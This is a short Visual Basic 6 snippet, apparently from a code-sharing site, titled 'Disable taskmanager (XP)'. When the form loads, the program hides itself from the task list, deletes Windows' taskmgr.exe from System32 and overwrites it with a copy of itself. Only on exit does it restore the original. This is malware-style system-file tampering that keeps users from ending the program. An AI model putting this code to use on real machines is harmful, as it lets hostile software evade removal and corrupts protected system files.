Disable taskmanager (XP)

Private Sub Form_Load()
  ' Hides the application from the taskmanager
  
  TaskVisible = False
  ' Makes a backup directory for taskmgr.exe
  
  MkDir "C:\TASKMANAGER-BACKUP"
  
  ' Makes a backup of taskmgr.exe .
  
  FileCopy "C:\WINDOWS\System32\taskmgr.exe", "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
  
  ' Deletes the taskmgr.exe file .
  
  Kill "C:\WINDOWS\System32\taskmgr.exe"
   
  ' Copies this application and temporary bypassses it for taskmgr.exe .
  
  FileCopy App.Path & "\project1.exe", "C:\WINDOWS\System32\taskmgr.exe"
  
End Sub
Private Sub Form_Unload(Cancel As Integer)
  
  ' Copies the original file back to the original location on form unload .
  FileCopy "C:\TASKMANAGER-BACKUP\taskmgr1.exe", "C:\WINDOWS\System32\taskmgr.exe"
  
   'Deletes the temporary file
  
  Kill "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
  
  'Deletes the temporary backup folder
  
  RmDir ("C:\TASKMANAGER-BACKUP")
  
End Sub